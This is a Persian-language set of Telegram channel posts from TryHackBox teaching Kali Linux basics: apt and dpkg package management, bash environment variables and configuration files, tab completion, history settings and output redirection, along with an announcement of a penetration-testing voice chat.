1. سایت ابزارهای کالی (Kali Tools Site): لیستی از ابزارها و اطلاعات آنها.
Kali Tools
2. Bug Tracker: برای گزارش و یافتن راهحل باگها.
Kali Linux Bug Tracker
3. سایت آموزشی کالی (Kali Linux Training Site): شامل کتاب Kali Linux Revealed، تمرینات و فروم پشتیبانی برای کاربران تمام سطوح.
Kali Training
این منابع رایگان، بینشی ارزشمند را فراهم میکنند و به عنوان یک همراه عالی برای آموزش عمل خواهند کرد.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
مدیریت بستهها و برنامهها
برای مدیریت بستهها یا برنامهها، از مجموعه ابزارهای APT (Advanced Package Tool) استفاده میشود که وابستگیهای برنامهها را به صورت هوشمند مدیریت میکند.
*
apt update: لیست بستهها را بهروز میکند.*
apt upgrade: تمام بستههای نصبشده را ارتقاء میدهد. قبل از این کار، بهتر است از ماشین مجازی خود یک اسنپشات (Snapshot) بگیرید.*
apt install: برای نصب یک بسته جدید.*
apt remove --purge: یک بسته را به طور کامل همراه با فایلهای پیکربندی حذف میکند.مثال:
برای نصب برنامه pure-ftpd:
sudo apt install pure-ftpd
برای حذف کامل آن:
sudo apt remove --purge pure-ftpd
dpkg ابزار اصلی و پایه برای نصب بستههاست که میتواند در حالت آفلاین نیز کار کند، اما وابستگیهای برنامه را به صورت خودکار نصب نمیکند.مثال:
برای نصب یک فایل بستهی .deb که از قبل دانلود شده است:
sudo dpkg -i package.deb
منابع آموزشی و مستندات
1. سایت ابزارهای کالی (Kali Tools Site): لیستی از ابزارها و اطلاعات آنها.
Kali Tools
2. Bug Tracker: برای گزارش و یافتن راهحل باگها.
Kali Linux Bug Tracker
3. سایت آموزشی کالی (Kali Linux Training Site): شامل کتاب Kali Linux Revealed، تمرینات و فروم پشتیبانی برای کاربران تمام سطوح.
Kali Training
این منابع رایگان، بینشی ارزشمند را فراهم میکنند و به عنوان یک همراه عالی برای آموزش عمل خواهند کرد.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
Kali Linux
Kali Tools | Kali Linux Tools
Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.
👍7
مقدمه: قسمت ششم: آشنایی با کامند لاین(command line)
در لینوکس، Bash (Bourne Again Shell) یکی از محبوبترین و پرکاربردترین شلها (shell) است که برای تعامل با سیستم از طریق خط فرمان استفاده میشود. محیطهای بش به طور کلی به تنظیمات و متغیرهایی اشاره دارند که رفتار و نحوه عملکرد بش را تحت تاثیر قرار میدهند.
1. Bash Environments چیست؟
محیطهای بش (Bash environments) مجموعهای از متغیرها، تنظیمات و فایلها هستند که نحوه عملکرد بش و همچنین رفتار دستورات و شل را مشخص میکنند. این محیطها میتوانند ویژگیهایی مانند مسیر فایلها، اطلاعات مربوط به دستورات قبلی و تنظیمات شخصیسازی شِل را تعیین کنند.
Bash environments شامل متغیرهای محیطی (environment variables) و فایلهای پیکربندی است که میتوانند نحوه اجرای بش و سایر فرآیندها را تغییر دهند.
2. متغیرهای محیطی (Environment Variables)
متغیرهای محیطی اطلاعاتی هستند که توسط سیستم عامل و برنامهها در هنگام اجرای یک برنامه در دسترس قرار میگیرند. در بش، این متغیرها میتوانند اطلاعاتی مانند مسیرهایی که برای جستجوی فایلهای اجرایی استفاده میشوند، نام کاربری، و پیکربندیهای مربوط به سیستم را ذخیره کنند.
برخی از مهمترین و رایجترین متغیرهای محیطی در بش عبارتند از:
* PATH:
مسیرهایی که بش برای جستجوی برنامههای اجرایی در آنها جستجو میکند. این متغیر شامل لیستی از مسیرها است که در آنها دستوراتی که وارد میکنید جستجو میشود.
* HOME:
مسیر دایرکتوری خانگی کاربر جاری. این مسیر به طور پیشفرض دایرکتوریای است که کاربر در آن قرار دارد.
* USER:
نام کاربری جاری که در سیستم وارد شده است.
* SHELL:
شل پیشفرض که برای اجرای دستورات استفاده میشود.
3. فایلهای پیکربندی Bash
بش از چندین فایل پیکربندی برای ذخیره تنظیمات و شخصیسازی محیط استفاده میکند. این فایلها به شما این امکان را میدهند که تنظیمات خود را در طول جلسات مختلف شل حفظ کنید.
برخی از مهمترین فایلهای پیکربندی بش عبارتند از:
* /etc/profile:
این فایل برای پیکربندی سیستم بهطور کلی استفاده میشود و تنظیمات مشترک برای تمامی کاربران در آن قرار دارد. این فایل در هنگام شروع اولین شل (برای هر کاربر) اجرا میشود.
* \~/.bash\_profile یا \~/.profile:
این فایل برای پیکربندی تنظیمات محیطی خاص به هر کاربر استفاده میشود. این فایل هنگام ورود به سیستم توسط کاربر اجرا میشود.
* \~/.bashrc:
این فایل برای تنظیمات محیطی و پیکربندیهای اضافی برای جلسات شل تعاملی استفاده میشود. این فایل به طور خودکار در هر بار شروع یک شل جدید اجرا میشود.
* /etc/bash.bashrc:
این فایل مشابه با
* \~/.bash\_logout:
این فایل برای تنظیمات مربوط به هنگام خروج از شِل استفاده میشود و معمولاً برای پاکسازی محیط و انجام برخی از کارهای نهایی پس از خروج از شل استفاده میشود.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
در لینوکس، Bash (Bourne Again Shell) یکی از محبوبترین و پرکاربردترین شلها (shell) است که برای تعامل با سیستم از طریق خط فرمان استفاده میشود. محیطهای بش به طور کلی به تنظیمات و متغیرهایی اشاره دارند که رفتار و نحوه عملکرد بش را تحت تاثیر قرار میدهند.
1. Bash Environments چیست؟
محیطهای بش (Bash environments) مجموعهای از متغیرها، تنظیمات و فایلها هستند که نحوه عملکرد بش و همچنین رفتار دستورات و شل را مشخص میکنند. این محیطها میتوانند ویژگیهایی مانند مسیر فایلها، اطلاعات مربوط به دستورات قبلی و تنظیمات شخصیسازی شِل را تعیین کنند.
Bash environments شامل متغیرهای محیطی (environment variables) و فایلهای پیکربندی است که میتوانند نحوه اجرای بش و سایر فرآیندها را تغییر دهند.
2. متغیرهای محیطی (Environment Variables)
متغیرهای محیطی اطلاعاتی هستند که توسط سیستم عامل و برنامهها در هنگام اجرای یک برنامه در دسترس قرار میگیرند. در بش، این متغیرها میتوانند اطلاعاتی مانند مسیرهایی که برای جستجوی فایلهای اجرایی استفاده میشوند، نام کاربری، و پیکربندیهای مربوط به سیستم را ذخیره کنند.
برخی از مهمترین و رایجترین متغیرهای محیطی در بش عبارتند از:
* PATH:
مسیرهایی که بش برای جستجوی برنامههای اجرایی در آنها جستجو میکند. این متغیر شامل لیستی از مسیرها است که در آنها دستوراتی که وارد میکنید جستجو میشود.
echo $PATH
* HOME:
مسیر دایرکتوری خانگی کاربر جاری. این مسیر به طور پیشفرض دایرکتوریای است که کاربر در آن قرار دارد.
echo $HOME
* USER:
نام کاربری جاری که در سیستم وارد شده است.
echo $USER
* SHELL:
شل پیشفرض که برای اجرای دستورات استفاده میشود.
echo $SHELL
3. فایلهای پیکربندی Bash
بش از چندین فایل پیکربندی برای ذخیره تنظیمات و شخصیسازی محیط استفاده میکند. این فایلها به شما این امکان را میدهند که تنظیمات خود را در طول جلسات مختلف شل حفظ کنید.
برخی از مهمترین فایلهای پیکربندی بش عبارتند از:
* /etc/profile:
این فایل برای پیکربندی سیستم بهطور کلی استفاده میشود و تنظیمات مشترک برای تمامی کاربران در آن قرار دارد. این فایل در هنگام شروع اولین شل (برای هر کاربر) اجرا میشود.
* \~/.bash\_profile یا \~/.profile:
این فایل برای پیکربندی تنظیمات محیطی خاص به هر کاربر استفاده میشود. این فایل هنگام ورود به سیستم توسط کاربر اجرا میشود.
* \~/.bashrc:
این فایل برای تنظیمات محیطی و پیکربندیهای اضافی برای جلسات شل تعاملی استفاده میشود. این فایل به طور خودکار در هر بار شروع یک شل جدید اجرا میشود.
* /etc/bash.bashrc:
این فایل مشابه با
~/.bashrc است، اما برای تمامی کاربران سیستم کاربرد دارد و به تنظیمات عمومی میپردازد.* \~/.bash\_logout:
این فایل برای تنظیمات مربوط به هنگام خروج از شِل استفاده میشود و معمولاً برای پاکسازی محیط و انجام برخی از کارهای نهایی پس از خروج از شل استفاده میشود.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
❤7
برگزاری جلسه ویس چت : مهندس رضا شریف زاده
با سلام خدمت دوستان و همراهان عزیز،
در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسهای تخصصی و آموزشی در خصوص تست نفوذ وب و باگ بانتی به صورت ویس چت برگزار کنیم.
🎙️ مهمان ویژه:
مهندس رضا شریف زاده – کارشناس تست نفوذ وب
📅 زمان برگزاری: جمعه (فرداشب)
📍 پلتفرم: تلگرام (ویس چت)
🕗 ساعت : 20:00
💬 سوالات خود را درباره تست نفوذ و باگ بانتی در کامنتهاارسال کنید تا در جلسه به آنها پرداخته شود.
🔔 نکته مهم:
جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید .
@TryHackBox
با سلام خدمت دوستان و همراهان عزیز،
در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسهای تخصصی و آموزشی در خصوص تست نفوذ وب و باگ بانتی به صورت ویس چت برگزار کنیم.
🎙️ مهمان ویژه:
مهندس رضا شریف زاده – کارشناس تست نفوذ وب
📅 زمان برگزاری: جمعه (فرداشب)
📍 پلتفرم: تلگرام (ویس چت)
🕗 ساعت : 20:00
💬 سوالات خود را درباره تست نفوذ و باگ بانتی در کامنتهاارسال کنید تا در جلسه به آنها پرداخته شود.
🔔 نکته مهم:
جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید .
@TryHackBox
👍13
مقدمه: آشنایی با کالی لینوکس: قسمت هفتم: Tab Completion & Bash History Tricks
1. Tab Completion
ویژگی بسیار مفیدی در Bash است که به شما این امکان را میدهد تا دستورات، فایلها و دایرکتوریها را به سرعت با فشردن کلید Tab کامل کنید. این ویژگی به شما کمک میکند تا زمان زیادی را صرف نوشتن کامل دستورات نکنید و اشتباهات تایپی را کاهش دهید.
چطور کار میکند؟
زمانی که شما در حال نوشتن یک دستور یا مسیر فایل هستید، میتوانید از کلید Tab برای تکمیل خودکار نام فایلها، دایرکتوریها، دستورات و متغیرهای محیطی استفاده کنید.
——————————————————
مثالها:
1. تکمیل نام دستورات:
فرض کنید میخواهید دستور ls را تایپ کنید. به جای نوشتن کامل دستور، کافیست ابتدا l را تایپ کرده و سپس کلید Tab را فشار دهید. Bash بلافاصله آن را کامل میکند:
l<tab>
2. تکمیل نام فایلها و دایرکتوریها:
فرض کنید در دایرکتوری /home/user/ هستید و میخواهید وارد دایرکتوری Documents شوید. کافیست حرف اول را تایپ کنید:
cd Doc<tab>
اگر چند دایرکتوری با نام مشابه وجود داشته باشد، Bash گزینههای مختلف را لیست خواهد کرد تا شما یکی را انتخاب کنید.
3. تکمیل پارامترهای دستورات:
در دستورات خاص مانند
ویژگیهای اضافی:
* اگر بیش از یک گزینه برای تکمیل وجود داشته باشد، Bash آنها را نمایش میدهد.
* اگر چند گزینه با حروف مشترک شروع شوند، با دوباره زدن Tab تکمیل دقیقتری انجام میشود.
—————————————————
2. Bash History Tricks (ترفندهای تاریخچه Bash)
تاریخچه بش به شما امکان میدهد که به دستورات قبلی وارد شده در شل دسترسی پیدا کنید. بش به طور خودکار این دستورات را در فایلی به نام ~/.bash_history ذخیره میکند.
ویژگیها و ترفندهای استفاده از تاریخچه:
1. نمایش تاریخچه دستورات:
با این دستور میتوانید لیستی از دستورات قبلی خود را ببینید:
history
2. اجرای مجدد یک دستور با شماره:
هر دستور در لیست history شمارهای دارد. برای اجرای مجدد آن از ! به همراه شماره استفاده کنید:
!5
(فرض بر این است که دستور شماره ۵، مثلاً ls باشد)
3. جستجوی دستورات قبلی:
برای جستجوی سریع در بین دستورات قبلی، از Ctrl + r استفاده کنید:
Ctrl + r
# سپس تایپ کنید:
git
Bash بهصورت زنده دستوراتی که با git شروع شدهاند را نمایش میدهد.
4. اجرای مجدد آخرین دستور:
برای اجرای مجدد آخرین دستور وارد شده:
!!
3. HISTSIZE و HISTFILESIZE
در بش، دستورات واردشده در شِل در یک تاریخچه ذخیره میشن. این تاریخچه دو بخش داره:
1. حافظه موقتی (داخل رم)
2. فایل دائمی (معمولاً:
و این دو متغیر نقش دارن در محدود کردن اندازه این تاریخچه.
--------------
🔸
* تعداد خطوطی که Bash در حافظه نگه میداره
* یعنی چند دستور اخیر درون حافظه باقی بمونه (برای دسترسی سریع با فلش بالا و پایین)
مثال:
یعنی حداکثر ۱۰۰۰ دستور اخیر در حافظه نگهداری میشه تا وقتی ترمینال بازه.
—————————————
🔸
* تعداد خطوطی که در فایل
* وقتی از ترمینال خارج میشی، این تعداد دستور توی فایل میمونه
مثال:
یعنی فقط ۲۰۰۰ دستور آخر در فایل تاریخچه ذخیره خواهد شد. قدیمیترها پاک میشن.
📍 کجا تنظیم میشن؟
معمولاً داخل فایل
———————————————————
✅ کلیدهای جهتدار (↑ ↓) در هیستوری چه میکنن؟
فلش بالا (↑)
دستور قبلی که وارد کردی رو نشون میده
(هر بار بزنی، میره به دستور قبلیتر)
فلش پایین (↓)
وقتی از فلش بالا استفاده کردی، با فلش پایین میتونی به دستورات جدیدتر برگردی
📌 نکته:
دستورات از حافظه (
مگر اینکه
✅ مثال کاربردی:
فرض کن این تنظیمات رو داری:
و دستورات زیر رو پشت سر هم وارد کردی:
فقط ۳ دستور آخر در حافظه باقی میمونه:
*
*
*
ولی اگر خارج شی و فایل
———————————————————
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
1. Tab Completion
ویژگی بسیار مفیدی در Bash است که به شما این امکان را میدهد تا دستورات، فایلها و دایرکتوریها را به سرعت با فشردن کلید Tab کامل کنید. این ویژگی به شما کمک میکند تا زمان زیادی را صرف نوشتن کامل دستورات نکنید و اشتباهات تایپی را کاهش دهید.
چطور کار میکند؟
زمانی که شما در حال نوشتن یک دستور یا مسیر فایل هستید، میتوانید از کلید Tab برای تکمیل خودکار نام فایلها، دایرکتوریها، دستورات و متغیرهای محیطی استفاده کنید.
——————————————————
مثالها:
1. تکمیل نام دستورات:
فرض کنید میخواهید دستور ls را تایپ کنید. به جای نوشتن کامل دستور، کافیست ابتدا l را تایپ کرده و سپس کلید Tab را فشار دهید. Bash بلافاصله آن را کامل میکند:
l<tab>
2. تکمیل نام فایلها و دایرکتوریها:
فرض کنید در دایرکتوری /home/user/ هستید و میخواهید وارد دایرکتوری Documents شوید. کافیست حرف اول را تایپ کنید:
cd Doc<tab>
اگر چند دایرکتوری با نام مشابه وجود داشته باشد، Bash گزینههای مختلف را لیست خواهد کرد تا شما یکی را انتخاب کنید.
3. تکمیل پارامترهای دستورات:
در دستورات خاص مانند
git، پس از نوشتن نام دستور میتوانید با فشار دادن Tab**، لیستی از پارامترها یا زیردستورات را مشاهده کنید:git <tab>ویژگیهای اضافی:
* اگر بیش از یک گزینه برای تکمیل وجود داشته باشد، Bash آنها را نمایش میدهد.
* اگر چند گزینه با حروف مشترک شروع شوند، با دوباره زدن Tab تکمیل دقیقتری انجام میشود.
—————————————————
2. Bash History Tricks (ترفندهای تاریخچه Bash)
تاریخچه بش به شما امکان میدهد که به دستورات قبلی وارد شده در شل دسترسی پیدا کنید. بش به طور خودکار این دستورات را در فایلی به نام ~/.bash_history ذخیره میکند.
ویژگیها و ترفندهای استفاده از تاریخچه:
1. نمایش تاریخچه دستورات:
با این دستور میتوانید لیستی از دستورات قبلی خود را ببینید:
history
2. اجرای مجدد یک دستور با شماره:
هر دستور در لیست history شمارهای دارد. برای اجرای مجدد آن از ! به همراه شماره استفاده کنید:
!5
(فرض بر این است که دستور شماره ۵، مثلاً ls باشد)
3. جستجوی دستورات قبلی:
برای جستجوی سریع در بین دستورات قبلی، از Ctrl + r استفاده کنید:
Ctrl + r
# سپس تایپ کنید:
git
Bash بهصورت زنده دستوراتی که با git شروع شدهاند را نمایش میدهد.
4. اجرای مجدد آخرین دستور:
برای اجرای مجدد آخرین دستور وارد شده:
!!
3. HISTSIZE و HISTFILESIZE
در بش، دستورات واردشده در شِل در یک تاریخچه ذخیره میشن. این تاریخچه دو بخش داره:
1. حافظه موقتی (داخل رم)
2. فایل دائمی (معمولاً:
~/.bash_history)و این دو متغیر نقش دارن در محدود کردن اندازه این تاریخچه.
--------------
🔸
HISTSIZE* تعداد خطوطی که Bash در حافظه نگه میداره
* یعنی چند دستور اخیر درون حافظه باقی بمونه (برای دسترسی سریع با فلش بالا و پایین)
مثال:
HISTSIZE=1000یعنی حداکثر ۱۰۰۰ دستور اخیر در حافظه نگهداری میشه تا وقتی ترمینال بازه.
—————————————
🔸
HISTFILESIZE* تعداد خطوطی که در فایل
.bash_history ذخیره میشه* وقتی از ترمینال خارج میشی، این تعداد دستور توی فایل میمونه
مثال:
HISTFILESIZE=2000یعنی فقط ۲۰۰۰ دستور آخر در فایل تاریخچه ذخیره خواهد شد. قدیمیترها پاک میشن.
📍 کجا تنظیم میشن؟
معمولاً داخل فایل
~/.bashrc یا ~/.bash_profile یا /etc/profile اینا رو مینویسن:export HISTSIZE=1000
export HISTFILESIZE=2000———————————————————
✅ کلیدهای جهتدار (↑ ↓) در هیستوری چه میکنن؟
فلش بالا (↑)
دستور قبلی که وارد کردی رو نشون میده
(هر بار بزنی، میره به دستور قبلیتر)
فلش پایین (↓)
وقتی از فلش بالا استفاده کردی، با فلش پایین میتونی به دستورات جدیدتر برگردی
📌 نکته:
دستورات از حافظه (
HISTSIZE) خونده میشن، نه از فایل .bash_historyمگر اینکه
history رو دستی بخونی یا ترمینال دوباره باز بشه✅ مثال کاربردی:
فرض کن این تنظیمات رو داری:
HISTSIZE=3
HISTFILESIZE=100و دستورات زیر رو پشت سر هم وارد کردی:
ls
pwd
cd /tmp
echo helloفقط ۳ دستور آخر در حافظه باقی میمونه:
*
pwd*
cd /tmp*
echo helloولی اگر خارج شی و فایل
.bash_history جا داشته باشه، تا ۱۰۰ تای آخر ذخیره میشن.———————————————————
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
🔥7
Try Hack Box
Live stream finished (1 hour)
دوستانی که از جلسه امشب جا موندید فایل به زودی در کانال @RadioZeroPod قرار میگیره استفاده کنید .
❤7
مقدمه: آشنایی با کالی لینوکس: قسمت هشتم: Redirection & Piping
در لینوکس و محیط بش، piping و redirection ابزارهای قدرتمندی برای مدیریت ورودی و خروجی (I/O) دستورات هستند. اعداد 0، 1و 2 به جریانهای استاندارد (standard streams) اشاره دارند که هنگام اجرای هر دستور، بهطور پیشفرض توسط سیستم باز میشوند.
———————————————————————————————
🔹 Redirection (هدایت ورودی و خروجی)
✅ هدایت خروجی استاندارد (STDOUT)
برای ذخیره خروجی یک دستور در فایل:
این دستور، خروجی
معادل دقیقتر:
اینجا
———————————————————————————————
✅ هدایت خطا (STDERR)
برای ذخیره فقط خطاها (نه خروجی معمولی) در یک فایل:
این دستور، پیام خطای عدم وجود فایل را در
———————————————————————————————
✅ هدایت همزمان خروجی و خطا
برای ذخیره هر دو خروجی و خطا در یک فایل:
توضیح:
*
*
ترتیب بسیار مهم است؛ اگر بنویسید:
خطاها به ترمینال میروند، چون
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
در لینوکس و محیط بش، piping و redirection ابزارهای قدرتمندی برای مدیریت ورودی و خروجی (I/O) دستورات هستند. اعداد 0، 1و 2 به جریانهای استاندارد (standard streams) اشاره دارند که هنگام اجرای هر دستور، بهطور پیشفرض توسط سیستم باز میشوند.
———————————————————————————————
🔹 Redirection (هدایت ورودی و خروجی)
✅ هدایت خروجی استاندارد (STDOUT)
برای ذخیره خروجی یک دستور در فایل:
ls > files.txt
این دستور، خروجی
ls را به فایل files.txt میفرستد و دیگر در ترمینال نمایش نمیدهد.معادل دقیقتر:
ls 1> files.txt
اینجا
1> یعنی stdout را به فایل هدایت کن.———————————————————————————————
✅ هدایت خطا (STDERR)
برای ذخیره فقط خطاها (نه خروجی معمولی) در یک فایل:
ls non_existent_file 2> error.txt
این دستور، پیام خطای عدم وجود فایل را در
error.txt ذخیره میکند. خروجی عادی نمایش داده نمیشود چون اصلاً وجود ندارد.———————————————————————————————
✅ هدایت همزمان خروجی و خطا
برای ذخیره هر دو خروجی و خطا در یک فایل:
command > output.txt 2>&1
توضیح:
*
> output.txt: هدایت stdout به فایل*
2>&1: هدایت stderr به همان جایی که stdout رفته (یعنی به output.txt)ترتیب بسیار مهم است؛ اگر بنویسید:
command 2>&1 > output.txt
خطاها به ترمینال میروند، چون
stderr به جای قبلی stdout هدایت شده، نه جدید.✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
👍4❤3